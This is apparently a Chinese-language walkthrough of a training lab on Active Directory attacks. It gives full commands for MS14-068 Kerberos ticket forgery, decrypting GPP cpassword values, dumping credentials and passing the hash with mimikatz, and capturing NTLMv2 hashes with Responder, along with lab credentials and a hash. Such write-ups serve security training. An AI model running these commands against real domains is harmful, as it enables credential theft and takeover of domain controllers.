[TOC]

前言:这是一个实训系统的靶场,靶场属于内网,仅供训练人员使用。这里仅作打靶场时的操作思路记录

前言

在对域内的攻击方法可以理解为两类:

第一类:利用常规漏洞进行攻击,比如针对域内服务器上面的Web服务、服务器系统层面的漏洞(如MS17-010)

第二类:就是针对域控制器DC的漏洞(如MS14-068)可以通过普通权限获取到域控的权限。

在域内攻击要避免防火墙、流量检测等安全防护设备的拦截和监控,一旦被管理员发现就会失去其权限,如果想攻入到域内就要麻烦很多。下面以常用的MS14-068、MS14-025、Pass The Hash、黄金票据和其他维权的方法进行域控攻击及获得其权限。

思维导图

网络拓扑图

img

所在域:really.com (查询命令: net config workstation)

攻击过程

MS14-068漏洞

概念

MS14-068漏洞(CVE-2014-6324)是 Windows Kerberos 对 kerberos tickets 中的 PAC(Privilege Attribute Certificate) 的验证流程中存在的严重的提权漏洞

低权限的经过认证的远程攻击者利用该漏洞可以伪造一个PAC签名并通过Kerberos KDC(Key Distribution Center)的验证,攻击成功使得攻击者可以提升权限,获取域管理权限。

KDC 在处理 TGS 请求时未正确验证 PAC(特权属性证书)签名,允许域用户伪造 PAC,声称自己是管理员,从而获得域管理员权限,利用门槛极低

利用前提

  1. 域控未打补丁 KB3011780 (检查命令:systeminfo | findstr KB3011780无输出表示可利用)
  2. 攻击者拥有有效域用户账号 + 密码(明文或 NTLM 哈希)
  3. 域控为:Windows Server 2003/2008/2008 R2/2012(2012 R2 部分受影响)

复现过程

首先控制域成员1主机,输入域账号:really\test1,密码:asd@123 进行登录

由于$c(c盘)为系统默认共享,所以我们可以使用cmd执行命令 dir \\dc.really.com\c$访问域控制器的c盘来看是否获取到了域管理员权限

img

现在是拒绝访问的,没有域管理员权限

复现步骤如下:

1
2
3
4
1、获取SID		  whoami /user
2、生成伪造票据 ms14-086.exe -u(域用户@域)-p(域用户密码) -s(sid) -d (dc_ip)
3、删除缓存票据 klist purge
4、导入票据获取域控权限 kerberos::ptc 自定义命名.ccache

第一步:获取SID

生成一个kerberos认证票据,此步骤需要域用户SID信息。在域成员1主机执行命令whoami /user,获取用户SID

img

第二步:生成伪造票据

利用MS14-068.exe提权工具生成伪造kerberos协议认证证书,执行命令:

MS14-068.exe -u test1@really.com -p asd@123 -s S-1-5-21-1532236939-3351575774-409129384-1103 -d 192.168.1.1

img

漏洞利用工具执行成功会在当前文件夹MS14-068下生成一个ccache格式文件,也就是伪造的票据

img

第三步:删除缓存票据

這一步使用mimikatz。执行命令kerberos::purge,删除当前缓存的kerberos票据,缓存删除之后再进行票据的导入

img

第四步:导入票据获取域控权限

执行命令kerberos::ptc C:\Users\test1\Desktop\test\MS14-068\TGT_test1@really.com.ccache,导入票据,执行后显示OK,则证明成功获取域控制器权限

img

最后:验证攻击成功

攻击结束后打开命令窗口,执行命令dir \\dc.really.com\c$,列举域控的C盘来证明漏洞利用成功

image-20260402225120024

说明已经提权成功了

MS14-025漏洞

概念

MS14-025(CVE-2014-1813)是组策略首选项(Group Policy Preferences 简称GPP)密码硬编码漏洞,攻击者可读取域中 GPP 配置文件里的AES 加密密码并解密,获取本地管理员密码,拿到后可登录任意域内机器,属于经典域内提权场景。

在域内修改主机的账号密码比较繁琐,所以很多人都在用微软的Group Policy Preferences(GPP),GPP的功能之一可以批量修改账号,但是域管在配置完GPP后会在SYSVOL文件夹内保存配置的XML文件,所以可以利用到这一情况对保存的XML文件的密文进行解密。

SYSVOL文件夹是一个存储着域公共文件服务器副本的共享文件夹,域内机器都可以访问。

SYSVOL共享文件夹内里面存储着登录或者注销脚本、组策略配置文件等。当然域管配置GPP后存在的XML文件也在里面,XML文件内存在着域管配置GPP时输入的密码,不过这些字段都被AES 256加密了,虽然被加密,但是微软官方已经公开了AES 256加密的私钥。攻击者完全可以通过公开的私钥破解出密码。

微软官方公开的密钥网址为 https://msdn.microsoft.com/en-us/library/cc422924.aspx

image-20260325150935049

原理:Windows 组策略首选项(GPP)在配置本地用户 / 组、计划任务、服务、驱动器映射时,会将密码以AES-256 加密形式存储在域控SYSVOL共享的Groups.xml等文件中。微软公开了 AES 加密密钥cpassword解密密钥),任何域用户都能读取SYSVOL并解密密码。

利用条件

  1. 域内存在配置了密码的 GPP 策略

  2. 没有打补丁:GPP凭证补丁:KB2962486,这个补丁禁止在组策略配置中填入密码。(检查命令:systeminfo | findstr KB2962486无输出表示可利用)

  3. 未清理遗留配置,未删除SYSVOL下所有含cpassword的 XML 文件

  4. 攻击者拥有任意域用户权限(普通域用户即可)

  5. 可访问域控\\域名\SYSVOL\共享

复现过程

登录域用户1,账号:really\test1 密码:asd@123

步骤如下:

1
2
3
1、判断SYSVOL文件夹访问权限。
2、查找XML文件。
3、解密XML文件中加密的密码信息。

第一步:判断SYSVOL文件夹访问权限

在域成员1主机中,目錄地址栏中输入\\really.com\SYSVOL\really.com\Policies,在文件夹内输入域位置访问看是否有权限访问。

image-20260325145842224

结果是可以访问

第二步:查找XML文件

GPP组策略选项内包含了:映射驱动(Drives.xml),数据源(DataSources.xml),打印机配置(Printers.xml),创建/更新服务(Services.xml),计划任务(ScheduledTasks.xml),密码配置groups.xml)文件。

攻击者访问SYVOL共享文件夹找带有密码的XML配置文件(groups.xml),然后可通过破解脚本进行解密得到密码。在搜索框中输入groups.xml进行搜索

image-20260325145827443

打開groups.xml文件,然後就能找到cpassword字段后被AES加密的密码信息

image-20260325145908455

/Urrtv2mExSUsB/ToxFDE0JAl+PMGdeEHXBwUdudQ0A

第三步:解密XML文件中加密的密码信息

使用kali自带的 gpp-decrypt 工具进行解密

1
gpp-decrypt "/Urrtv2mExSUsB/ToxFDE0JAl+PMGdeEHXBwUdudQ0A"

image-20260402222416362

Pass the Hash攻击

概念

Pass the Hash(哈希传递,简称 PtH) 是内网渗透中最经典的横向移动攻击技术。

在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。

本机Windows应用程序要求用户提供明文密码,然后调用LsaLogonUser 之类的API,将该密码转换为一个或两个哈希值(LM或NT哈希),然后在NTLM身份验证期间将其发送到远程服务器。

对这种机制的分析表明,成功完成网络身份验证不需要明文密码,只需要哈希即可

如果攻击者具有用户密码的哈希值,则无需强行使用明文密码;可以简单地使用已经收获的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成的原始密码

核心原理是:攻击者不需要破解出明文密码,直接利用窃取的 NTLM 哈希值,就能冒充用户身份完成远程认证,登录目标机器。

利用条件

  1. 拥有目标用户的 NTLM Hash
  2. 该用户在目标机器上有权限本地管理员权限最佳,普通用户一般无法远程执行命令,只能做有限操作)

复现过程

登录域成员2主机,账号:administrator,密码:com.1234

然后注销域成员2主机上administrator账号,使用域账号:really\demo1,密码:asd@123 登录域

之后切换(不是注销really\demo1)至本地账号user2\administrator进行登录,密码com.1234

这样demo1就是最近登录过的用户

首先对域控制器的C盘进行dir列出。执行命令dir \\dc.really.com\c$,显示失败

image-20260402223939837

现在是拒绝访问的,没有域管理员权限。

步骤如下:

1
2
3
4
5
1、获取NTLM Hash
privilege::debug 提升为debug权限(这步很重要,必须有)
sekurlsa::logonpasswords 显示最近登录过的用户和最近登录过的计算机的凭证
2、hash传递
sekurlsa::pth /user:用户 /domain:域 /ntlm:hash

第一步:获取NTLM Hash

打开mimikatz工具,执行命令privilege::debug,提升权限

image-20260402223533481

执行命令sekurlsa::logonpasswords,显示最近登录过的用户和最近登录过的计算机的凭证

image-20260402223632407

也可以执行命令mimikatz "log" "privilege::debug" "sekurlsa::logonpasswords" exit,以日志的形式保存,便于复制

image-20260402224511781

第二步:hash传递

使用mimikatz工具进行PTH攻击。执行命令

sekurlsa::pth /user:demo1 /domain:really.com /ntlm:acbc1d7e615194dfb894cb03e0a9c91f

其中sekurlsa::pth内的pth代表的就是Pass the Hash攻击

/user:后的用户代表上述说到的demo1管理员权限账号

/domain:后的域代表所在域的域名

/ntlm:后的hash代表着demo1账号的hash

运行完成后提示OK,说明攻击成功,如图所示。

image-20260402223837096

最后:验证攻击成功

运行成功后会自动弹出命令窗口,执行命令dir \\dc.really.com\c$,测试成功

image-20260402224033036

Ntml Hash获取

  1. 登录Kali操作机,用户名/密码:root/com.1234

  2. 在域渗透中,其他用户的NTLM Hash不能直接获取,但是可以通过Responder工具进行拦截获取。

    在终端中执行命令responder -I eth0(eth0为网卡,可根据机器所用网卡进行更改)。

    此时kali已经模拟为SMB服务,这样就可以让受害者进行认证登录,当然也可以设置为SQL服务器、FTP、HTTP等

image-20260402225617385

  1. 当受害者机器尝试登录攻击者机器,responder就可以获取到了受害者机器用户的NTLMv2哈希值。

    进入域成员1主机,用户名:really\test1,密码:asd@123进行登录

    执行命令net use \\192.168.1.6\C$,请求kali,之后随意输入用户密码即可

image-20260402225628576

  1. 进入Kali操作机,成功获取到域成员1主机发起的请求,请求包含了登录域成员1主机所使用的域账户test1及Hash值

image-20260402225647034

联系

MS14-025:泄露 组策略密码 → 得到 明文 / Hash → 可直接用于 PtH

MS14-068:漏洞提权 → 拿到 高权限 Hash → 用于 PtH 或进一步获取 krbtgt Hash黄金票据